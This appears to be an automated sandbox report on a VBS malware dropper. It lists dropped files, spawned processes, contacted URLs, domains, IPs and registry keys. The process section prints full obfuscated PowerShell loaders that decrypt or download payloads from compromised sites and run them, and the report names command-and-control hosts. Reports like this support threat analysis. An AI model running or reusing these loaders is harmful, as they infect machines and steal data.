Files
File Path
|
Type
|
Category
|
Malicious
|
|
---|---|---|---|---|
createdthingstobefrankwithmeeverywhere.gIF.vbs
|
Unicode text, UTF-16, little-endian text, with CRLF line terminators
|
initial sample
|
||
C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs
|
ASCII text, with very long lines (2168), with CRLF line terminators
|
dropped
|
||
C:\Users\user\AppData\Roaming\sfvnspt.dat
|
data
|
dropped
|
||
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506
|
Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks,
0x1 compression
|
dropped
|
||
C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\json[1].json
|
JSON data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
|
data
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4o10xmxe.1yt.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a0q2jqbg.cem.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b1gnhz00.2xb.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bwbrpynw.bnu.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ukbjthm3.frw.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yt3rntba.rz2.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\bhvCCC4.tmp
|
Extensible storage engine DataBase, version 0x620, checksum 0xf87da552, page size 32768, DirtyShutdown, Windows version 10.0
|
dropped
|
||
C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem
|
Unicode text, UTF-16, little-endian text, with no line terminators
|
dropped
|
||
C:\Users\user\AppData\Roaming\Snigmyrdede.Sko
|
ASCII text, with very long lines (65536), with no line terminators
|
dropped
|
There are 7 hidden files, click here to show them.
Processes
Path
|
Cmdline
|
Malicious
|
|
---|---|---|---|
C:\Windows\System32\wscript.exe
|
C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\createdthingstobefrankwithmeeverywhere.gIF.vbs"
|
||
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command (('((e4jfunction Decrypt-AESEncryption {Param([String]TMIBase64Text,[Stringe4j+e4j]TMIKey)TMIe4j+e4jaesManaged
= New-Object System.See4j+e4jcurity.Cryptography.AesManaged;TMIa'+'esManagee4j+e4'+'jd.Modee4j+e4j = [Syse4j+'+'e4jtem.Security.Cryptoge4j+e4jraphy.e4j+e'+'4jCie4'+'j+e4jpherMode]::CBC;TMIaesManaged.'+'Pae4j+e4jddin'+'g
= [System.Security.Cryptography.PaddingMode]::Zeros;TMIaesManaged.BlockSiz'+'e = 128;TMIaesManaged.KeySize = 256;'+'TMIaesManagee4j+'+'e4jd.Key
= ('+'New-Objecte4'+'j+e4j System.Security.Cryptography.SHA256Managed).ComputeHash([Syste'+'m.Text.Encoding]::UTF8.Gee4j+e4jtBytes(TMIKey));TMIcipherBytes
= [Syst'+'em.Convert]::FromBase64String(TMIBase64Text);TMIaesManaged.IV '+'= TMIcipherBytes[0..15];TMIdecryptor = TMIaesManaged.CreateDecryptor();TMIdecryptedBytes
= TMIdecryptor.TransformFin'+'alBlock(TMIcipherBytes, 16, TMIcipherBytes.Length - 16);e4j+e4jTMIae'+'sManaged.D'+'ispose('+');return
[System.Text.Encoding]::UTF8.GetString'+'(TMIdecry'+'ptedBytes).Tre4j+e4jim([char]0);}TMIchave = CnI98685860701936162316809131591218CnIe4j+e4j;TMItextoCriptogr'+'afadoBase4j+e4je64
= '+'CnI/cGJmqVj5jCchNUuqniccRhpmR5qMkJqyaxLjAOoZS+I6UjjzBuHKkMUIawH3bTvDj7nWJq1X++W/D0YbGXb8mznv8QaOqQP1S2jB+yDre2mYNc51z88VDp5yhLxv2jub4BAD5MQkn09gj7sFrzKiS0Lv4bbd7SWdBlNNY01HOPdZZi88uLKrHF094fRfKbDTWl6drqxh86PYBPPz5p2Ly9NFsVGPk0kub6u6Kg9MbD3UxusVGZCdUc0aq5EXDqvPaek1WSrhMDfsWP03fZTtbxI2uIb73uc20hNa8tKlWpVgQcg5yXgT1Syt4JsFjugZ9Qtq1uX/OG7aRAuR2SPi44P27EfktJtInMKpDXYHkjZS52YqNTFAu7vkn80WLfrjaKO1puSNI83KG4Gb5VMO0L0qfDKNvusZUr6nwSAndn5NEdU4kRRcVNX137D+ZBob0WbqlGLDBY6a+EMGzYtzcJ9yDU9sRHuvpnJ5c0hkwPy4DW2nC9xKyXClHpMrOAGz59KK909AdcVa3cZMI4okN0iylLC6wphikPk+n/lH8dSrmPfxXmnyxHQ6FPMQ3t7W6XvHMIHBTNK1roZfwexEEon7dKRDC0d2IrLWlyM+aSkJSwieqOUXpMZyJUm2hcsj8O2qQ6SJSSECSO9pH7mC3RTLzx/Yu4I0g+aMXaEbo7jnGZCzrsoXBRasrE5huijlM3SPVHWt7BmPHFNB5UAtl1Poeor3payTIoDvmHLQ5udJKwLQ55FOeaNJf+pmojioT+Punj9PkhiGcH6xTdE+2IrxNPE7ay7Vlrz0F+zzhORfur8P5pHWq383QgBA8DubDwQoW+2/zvvGy0+vtBVpAZBtMhKqsSHtY4fy3hgqLxKhWAneQJQ8WqLkzqUVDY9EPZtjGeMds6via1iXp+weIOrC5nUhoaj4yGoY2MoXMyeOduTv3614RUxvqvvcerqLinXXajm5YyY2gVFXVy7lQs/l3ppDJ/Er9yz3s9rYpNCLl0sEExFChP/0AEE9hA3qtQqm07KfQM7Fm/TxVhAZZQIl8WYJ4sl9VdVuOvk82qKlTC24fpX5MYkZQF4iy2oZu7+PswZNBWNr+R8IbeXGpk6YULjJIQEn49p7IIebLL4A+J83MoPUBcLr/3wfiOdRztCS5fsI1/7gWW61aBZmh9WQ5Y/PN8qrPMJKYzSp84UIHHxGLfpUuclLTYd6067KhaUF+isNYUo0YQamdLvdcnsAnB1fFVG2Z6opzbG7sqFu6AQguz584NTtWuBMlcl43XDc/g09jFmr9jk22MvT+6/1kqeSuax5g4j6g6n3MjeEp9CvY3LOjh+/KWuQr/Kbqc4JIBZhwkTcrNn4Yi2/MmJ/0v3oIfVqNNecpNoQxXyyJjgkG+362VFqQj/+ROnzXepvq3WcWkQ/CheHAW5Iw==CnI;TMItextoDescriptografado
= Decrypt-AESEncryption -'+'Base64Text TMItextoCriptografadoBase64 -Key TMIchave;W'+'rite-Host CnITexe4j+e4jto Descre4j+e4jiptografado:
TMI'+'textoDescriptograe4j+e4jfadoCnI;Invoke-Expressioe4j+e4jn TMItext'+'oe4j+e4jDescriptografado;e4j)-rEplACe ([CHar]67+[CHar]110+['+'CHar]73),[CHar]34
-cRePLACe e4jTMIe4j,[CHar]36)AQMinvOKe-EXpReSsion') -CREplacE 'e4j',[Char]39 -CREplacE([Char]65+[Char]81+[Char]77),[Char]124)|&(
$verbosEPREFerEncE.tosTriNg()[1,3]+'x'-join'')
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
|
||
C:\Windows\SysWOW64\wscript.exe
|
"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\Forfrelsens.vbs"
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem"
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\yrfptuyewdgikkwbbqnxbflydidjpkpem"
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\jmlaun"
|
||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\user\AppData\Local\Temp\tgqsvxbzg"
|
||
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne
Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens
Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene
forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes
Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If
(${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For(
$truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman,
$Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94
' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1
0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94
' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/
/,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94
'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS
n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,).
');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance
(Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S
eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o
bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance
(Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD
o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance
(Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit)
{Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance
(Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h,
N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t
r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance
(Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94
'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L
');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,.
G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt
rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
|
||
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
|
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Revisoratets207 Smaatrykkene forlise Sujet Udvandringerne
Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes Reobtainment Allingeboens
Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0 Revisoratets207 Smaatrykkene
forlise Sujet Udvandringerne Wadies Thioantimonious Unparalysed Whiffer masseproduceres Entings Hebenon Zymin Dumpningsskibes
Reobtainment Allingeboens Zinkkografierne Checksums Reverbrate Phare Spisekkkens Programredaktrs heteromorphous Sparkedragten0';If
(${host}.CurrentCulture) {$Digers++;}Function Svndyssendes94($Dukketeatrenes){$Uadskilleligt=$Dukketeatrenes.Length-$Digers;$Mainlining='SUBsTR';$Mainlining+='ing';For(
$truthsman=1;$truthsman -lt $Uadskilleligt;$truthsman+=2){$Revisoratets207+=$Dukketeatrenes.$Mainlining.Invoke( $truthsman,
$Digers);}$Revisoratets207;}function Scance($Strukturndringernes){ . ($Gederamsen) ($Strukturndringernes);}$Ambages77=Svndyssendes94
' MIo zGi lKl,aL/C5F. 0R (.W iSn d o,wOs BNQT. R1 0,.v0P; ,W iBnO6 4D;S Uxy6 4M;, ,rSvM:T1 2.1..P0C) SGBeHc k o,/B2 0O1
0 0 1,0B1F IF i.rBeNf,oHxC/E1 2A1 .U0B ';$slotting=Svndyssendes94 '.UTsUe r.-FA g ern,ti ';$Udvandringerne=Svndyssendes94
' h tTtjpAsA: /E/KaPs,oDc.i aRt i.a t r.aLd,i tGi.i m aArSi a...r o,/GoLs /,t r aDn.s.p o.rbtEm e,nNt...pAfPmM> hSt t pHs,:P/
/,n.e.w ..qCuPr aLnGu s hbaEi qGe r . oerFg..,s a./ wMpc- a.d m.iKnD/ToNs,e rCvDe /Rtdr,a nps.pro.r.tSm.e n tG. pHfTmI ';$Fluffs=Svndyssendes94
'S> ';$Gederamsen=Svndyssendes94 'Pi,e x ';$Lgnere='Unparalysed';$decos = Svndyssendes94 'Ee cMh,oS % a p pTdaaStSa % \FS
n i g m yMr,dJe dPeA. SFkSo. ,& &H FeDc h.oU t ';Scance (Svndyssendes94 ',$ g lHo bOaAlC:PRge.gFr =h( c m,d, /Vc, .$ d.e.cBoBs,).
');Scance (Svndyssendes94 'E$SgElFo b.a lR:CS uLj.eFt,=S$SUTdKvFa,n,dIrDiOn.gSeLr,nSe .HsApGlAi tB( $ FJl.uOfNf.sD)p ');Scance
(Svndyssendes94 ',[BN e,t .cS eorHvLi.cVe PSo iNn.tSMcaCn,aogAeKr,]S:D:OSPePc uPr.iKt y PDrCoBt o,cFool I=. C[SNNeLt ..S
eBcHu rUi.t yMPMrMo.tKo,c o l.TVyGp e ]N:F:VTRl sR1F2E ');$Udvandringerne=$Sujet[0];$Respriser= (Svndyssendes94 ',$.gIl.o
bRaBlP: Y m c a = N eIw -.OLb jbeMc t, S.yEsCt,e mH.RNUeStH.mW e.bRCKl i,e.nMt');$Respriser+=$Regr[1];Scance ($Respriser);Scance
(Svndyssendes94 'A$ YDm.c,a .UHUeMaPd.e rSsA[ $FsJlIo tRt,i nKgP]d=,$OA,mTbFaSg e,sK7 7 ');$Genlydens=Svndyssendes94 'S$,Y,mTc,a..SD
o,w nSl oFa d FSiBl e.(.$FU,d v aSnTd r i nOg.e rSnAeB,f$ PIruoHgAr a m r.eUdHaUk.t r,s )b ';$Programredaktrs=$Regr[0];Scance
(Svndyssendes94 ' $ g lTo b a l,: SMaStWeBlSl i tP=,( Tse sAtT-ZPGaDtAh F$DPSr o g rAa mLrAe d,aAk tCrMs ) ');while (!$Satellit)
{Scance (Svndyssendes94 'H$Bg lTo,b.a lH: Rie gOi oCn s.p lpaRnvrae t n iBn gBscl i.n.j.e =,$MtCrMuaeu ') ;Scance $Genlydens;Scance
(Svndyssendes94 ',S tCa r,t -.Ssl,eOeSp .4N ');Scance (Svndyssendes94 'S$ gSlPoAbLaSlb:AS.a tTeSlNl,iSt =T(,T ecs tF- PSa,t.h,
N$FPSr,oSg r a mGrmeGdJa kSt rSs )D ') ;Scance (Svndyssendes94 '.$Lg.l o,bha lD:VfRoSrVl i sAe.= $,g lBoSbAa,lV:FSAmOaGa t
r.yEk,kse n eP+E+ %a$gSHu.jieHt .ScKoHu n,tH ') ;$Udvandringerne=$Sujet[$forlise];}$Hjsangs=362888;$Destalinising=27100;Scance
(Svndyssendes94 'A$.g l oHb a l :SW h i f.fSe rP B=F G e t -DCFo n t,eFnNtW S$ PrrAo gSrHaSm rPe d aTkIt.rPsT ');Scance (Svndyssendes94
'N$og,l.oFbDaTlT:SFPoCr.l iNs E=H F[ S yRs.tce mS.CCPoAn.v eRr,tT] :,:,F r.o m B,aOs,e 6B4 SPtErFi.nOgD(F$ WVh icf fFehr,)L
');Scance (Svndyssendes94 'T$Bg lOo,bVa l :oHAeTbKeCn oGn =R F[.SBy.sPt e m..TT.e.x.t..VESn c.oGd,i n gD],:.:GA S CNIGI,.
G eCt,SAt r.i n gG( $ FPo,r lliIsF) ');Scance (Svndyssendes94 'K$,gYlSoDb,a.lB:ODLe sNq uTa mFa tDiCoAn s = $ H.eLbYeHn oSnB.MsruFbMsPt
rLiAnBg.( $.Hlj,s aAnSg sA,T$FD eTs tAaGlUi n ips i nugC)R ');Scance $Desquamations;"
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
|
||
C:\Windows\SysWOW64\cmd.exe
|
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Snigmyrdede.Sko && echo t"
|
There are 4 hidden processes, click here to show them.
URLs
Name
|
IP
|
Malicious
|
|
---|---|---|---|
https://asociatiatraditiimaria.ro/feed/
|
unknown
|
||
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm
|
34.166.62.190
|
||
https://asociatiatraditiimaria.ro/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=
|
unknown
|
||
https://asociatiatraditiimaria.ro/wp-content/uploads/elementor/css/post-2731.css?ver=1720763767
|
unknown
|
||
https://asociatiatraditiimaria.ro/wp-includes/css/dist/block-library/style.min.css?ver=6.6.1
|
unknown
|
||
https://asociatiatraditiimaria.ro
|
unknown
|
||
https://asociatiatraditiimaria.ro/os/transportment.pfm
|
93.113.54.56
|
||
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm0
|
unknown
|
||
iwarsut775laudrye2.duckdns.org
|
|||
https://asociatiatraditiimaria.ro/comments/feed/
|
unknown
|
||
https://asociatiatraditiimaria.ro/wp-json/
|
unknown
|
||
https://asociatiatraditiimaria.ro/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.7.2
|
unknown
|
||
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfml
|
unknown
|
||
https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=P
|
unknown
|
||
http://www.imvu.comr
|
unknown
|
||
https://contoso.com/License
|
unknown
|
||
http://198.46.176.133/Upload/vbs.jpegM
|
unknown
|
||
http://www.nirsoft.net
|
unknown
|
||
https://aefd.nelreports.net/api/report?cat=bingaotak
|
unknown
|
||
https://deff.nelreports.net/api/report?cat=msn
|
unknown
|
||
https://gmpg.org/xfn/11
|
unknown
|
||
http://198.46.176.133
|
unknown
|
||
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com
|
unknown
|
||
https://www.google.com
|
unknown
|
||
https://fp-afd.azurefd.us/apc/trans.gif?94fb5ac9609bcb4cda0bf8acf1827073
|
unknown
|
||
https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-LAX31r5a&FrontEnd=AF
|
unknown
|
||
http://geoplugin.net/json.gp/C
|
unknown
|
||
https://maps.windows.com/windows-app-web-link
|
unknown
|
||
https://contoso.com/
|
unknown
|
||
https://nuget.org/nuget.exe
|
unknown
|
||
https://aka.ms/pscore6lBjq
|
unknown
|
||
https://login.yahoo.com/config/login
|
unknown
|
||
http://104.168.45.34
|
unknown
|
||
http://www.nirsoft.net/
|
unknown
|
||
http://www.imvu.comata
|
unknown
|
||
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
https://www.office.com/
|
unknown
|
||
http://nuget.org/NuGet.exe
|
unknown
|
||
http://198.46.176.133/Upload/vbs.jpeg
|
198.46.176.133
|
||
http://pesterbdd.com/images/Pester.png
|
unknown
|
||
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
||
https://fp-afd.azurefd.us/apc/trans.gif?0cf92be82316943650f2ee723bc6949e
|
unknown
|
||
http://www.imvu.com
|
unknown
|
||
https://api.w.org/
|
unknown
|
||
https://contoso.com/Icon
|
unknown
|
||
https://github.com/Pester/Pester
|
unknown
|
||
http://geoplugin.net/json.gp
|
178.237.33.50
|
||
https://aefd.nelreports.net/api/report?cat=bingaot
|
unknown
|
||
https://new.quranushaiqer.org.sa
|
unknown
|
||
https://aefd.nelreports.net/api/report?cat=bingrms
|
unknown
|
||
https://www.google.com/accounts/servicelogin
|
unknown
|
||
https://aka.ms/pscore68
|
unknown
|
||
http://104.168.45.34/59/LMTS.txt
|
104.168.45.34
|
||
http://www.ebuddy.com
|
unknown
|
There are 44 hidden URLs, click here to show them.
Domains
Name
|
IP
|
Malicious
|
|
---|---|---|---|
iwarsut775laudrye2.duckdns.org
|
192.253.251.227
|
||
bg.microsoft.map.fastly.net
|
199.232.214.172
|
||
asociatiatraditiimaria.ro
|
93.113.54.56
|
||
geoplugin.net
|
178.237.33.50
|
||
new.quranushaiqer.org.sa
|
34.166.62.190
|
IPs
IP
|
Domain
|
Country
|
Malicious
|
|
---|---|---|---|---|
192.253.251.227
|
iwarsut775laudrye2.duckdns.org
|
United States
|
||
34.166.62.190
|
new.quranushaiqer.org.sa
|
United States
|
||
93.113.54.56
|
asociatiatraditiimaria.ro
|
Romania
|
||
198.46.176.133
|
unknown
|
United States
|
||
178.237.33.50
|
geoplugin.net
|
Netherlands
|
||
104.168.45.34
|
unknown
|
United States
|
Registry
Path
|
Value
|
Malicious
|
|
---|---|---|---|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
||
HKEY_CURRENT_USER\SOFTWARE\shietgtst-A57Q98
|
exepath
|
||
HKEY_CURRENT_USER\SOFTWARE\shietgtst-A57Q98
|
licence
|
||
HKEY_CURRENT_USER\SOFTWARE\shietgtst-A57Q98
|
time
|
||
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
LangID
|
||
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Windows\System32\WScript.exe.FriendlyAppName
|
||
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Windows\System32\WScript.exe.ApplicationCompany
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASAPI32
|
FileDirectory
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
EnableFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
EnableAutoFileTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
EnableConsoleTracing
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
FileTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
ConsoleTracingMask
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
MaxFileSize
|
||
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Tracing\powershell_RASMANCS
|
FileDirectory
|
There are 25 hidden registries, click here to show them.
Memdumps
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
---|---|---|---|---|
400000
|
remote allocation
|
page execute and read and write
|
||
AC25000
|
direct allocation
|
page execute and read and write
|
||
1B1E269C000
|
trusted library allocation
|
